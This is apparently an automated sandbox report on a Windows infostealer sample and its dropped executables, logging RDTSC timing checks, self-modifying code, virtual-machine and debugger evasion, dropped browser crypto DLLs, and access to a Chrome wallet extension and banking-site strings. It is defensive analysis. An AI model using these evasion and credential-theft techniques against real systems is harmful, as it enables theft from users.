Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C6D9FF second address: C6DA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C6DCC9 second address: C6DCF1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007F4414D31C37h 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C72B9C second address: C72BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C72BA2 second address: C72BA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C05105 second address: C05118 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F441484CE78h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edi 0x0000000b jo 00007F441484CE76h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C78213 second address: C7821D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4414D31C2Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C785CF second address: C785D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C78909 second address: C78924 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F4414D31C2Eh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C78924 second address: C7892B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C78D09 second address: C78D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jp 00007F4414D31C32h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C78D24 second address: C78D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C813F7 second address: C8140C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 js 00007F4414D31C34h 0x0000000c pushad 0x0000000d jne 00007F4414D31C26h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C7FF5E second address: C7FF62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C7FF62 second address: C7FF7B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4414D31C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F4414D31C2Ah 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C7FF7B second address: C7FF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE85h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C7FF95 second address: C7FF9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C050F6 second address: C05105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F441484CE78h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C803F8 second address: C80414 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4414D31C2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F4414D31C26h 0x00000010 jl 00007F4414D31C26h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C806D1 second address: C806D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C806D9 second address: C806E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop ebx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C806E5 second address: C806EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C80ACB second address: C80AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C80AD1 second address: C80AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C80D95 second address: C80DAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4414D31C2Bh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C33750 second address: C33763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F441484CE7Eh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C33763 second address: C33769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C81277 second address: C81280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C81280 second address: C8128E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4414D31C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F3FC8F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F3FBDF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10E35EA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10ED8E4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F3FBB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 116BED9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Special instruction interceptor: First address: C4561D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Special instruction interceptor: First address: C43E5F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Special instruction interceptor: First address: C678F4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Special instruction interceptor: First address: A9EBFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 113561D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1133E5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11578F4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F8EBFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Special instruction interceptor: First address: 323EFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Special instruction interceptor: First address: 3A8648 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Special instruction interceptor: First address: 47FC8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Special instruction interceptor: First address: 47FBDF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Special instruction interceptor: First address: 6235EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Special instruction interceptor: First address: 62D8E4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Special instruction interceptor: First address: 47FBB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Special instruction interceptor: First address: 6ABED9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Special instruction interceptor: First address: 322A74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Special instruction interceptor: First address: EBDCC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Special instruction interceptor: First address: 1063723 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Special instruction interceptor: First address: 10F4003 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsCGDHIEGCFH.exe

Code function: 20_2_04D00C0B rdtsc

20_2_04D00C0B

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 378
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 385

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6932	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 400	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 400	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6368	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1412	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4236	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6936	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6936	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5260	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1528	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6900	Thread sleep count: 239 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6900	Thread sleep time: -478239s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1796	Thread sleep count: 378 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1796	Thread sleep time: -756378s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5792	Thread sleep count: 176 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5792	Thread sleep time: -5280000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep count: 237 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep time: -474237s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6608	Thread sleep count: 263 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6608	Thread sleep time: -526263s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6600	Thread sleep count: 335 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6600	Thread sleep time: -670335s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6156	Thread sleep count: 385 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6156	Thread sleep time: -770385s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3008	Thread sleep count: 305 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3008	Thread sleep time: -610305s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5968	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5792	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe TID: 6212	Thread sleep time: -56028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe TID: 2376	Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe TID: 3872	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe TID: 2076	Thread sleep time: -90000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsCGDHIEGCFH.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CFBEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CFBEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000016.00000002.1929803221.0000000001116000.00000040.00000001.01000000.0000000E.sdmp, 5454ad7c1c.exe, 00000019.00000002.2588670186.000000000100F000.00000040.00000001.01000000.0000000F.sdmp, bef6a59ce6.exe, 0000001B.00000002.2575712308.0000000000301000.00000040.00000001.01000000.00000010.sdmp, 5b96a79886.exe, 0000001D.00000002.2420798468.0000000000603000.00000040.00000001.01000000.00000011.sdmp, bef6a59ce6.exe, 0000001E.00000002.2575686034.0000000000301000.00000040.00000001.01000000.00000010.sdmp, skotes.exe, 00000022.00000002.2535197221.0000000001116000.00000040.00000001.01000000.0000000E.sdmp, 4ff2bfa33f.exe, 0000002A.00000002.2579968606.0000000001040000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: AKFHDBFI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: AKFHDBFI.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: AKFHDBFI.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: AKFHDBFI.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: AKFHDBFI.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000BC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs
Source: AKFHDBFI.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: AKFHDBFI.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1827260082.0000000001924000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000015.00000002.2589998714.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000BC2000.00000004.00000020.00020000.00000000.sdmp, 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001117000.00000004.00000020.00020000.00000000.sdmp, 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001140000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.00000000009DB000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000B89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: AKFHDBFI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: AKFHDBFI.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: AKFHDBFI.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: DocumentsCGDHIEGCFH.exe, 00000014.00000003.1842521453.0000000001196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}$;
Source: bef6a59ce6.exe, 0000001B.00000003.2345943732.000000000530C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000002.1827260082.00000000018F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: AKFHDBFI.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: 5454ad7c1c.exe, 00000019.00000002.2598413852.000000000164E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: AKFHDBFI.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: AKFHDBFI.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: AKFHDBFI.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: AKFHDBFI.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: AKFHDBFI.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: AKFHDBFI.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: AKFHDBFI.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 5b96a79886.exe, 0000001D.00000002.2425494913.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AKFHDBFI.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: AKFHDBFI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: AKFHDBFI.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1826117353.00000000010C3000.00000040.00000001.01000000.00000003.sdmp, DocumentsCGDHIEGCFH.exe, 00000014.00000002.1871191527.0000000000C26000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.2577579853.0000000001116000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.1929803221.0000000001116000.00000040.00000001.01000000.0000000E.sdmp, 5454ad7c1c.exe, 00000019.00000002.2588670186.000000000100F000.00000040.00000001.01000000.0000000F.sdmp, bef6a59ce6.exe, 0000001B.00000002.2575712308.0000000000301000.00000040.00000001.01000000.00000010.sdmp, 5b96a79886.exe, 0000001D.00000002.2420798468.0000000000603000.00000040.00000001.01000000.00000011.sdmp, bef6a59ce6.exe, 0000001E.00000002.2575686034.0000000000301000.00000040.00000001.01000000.00000010.sdmp, skotes.exe, 00000022.00000002.2535197221.0000000001116000.00000040.00000001.01000000.0000000E.sdmp, 4ff2bfa33f.exe, 0000002A.00000002.2579968606.0000000001040000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: AKFHDBFI.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: AKFHDBFI.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: AKFHDBFI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Thread information set: HideFromDebugger
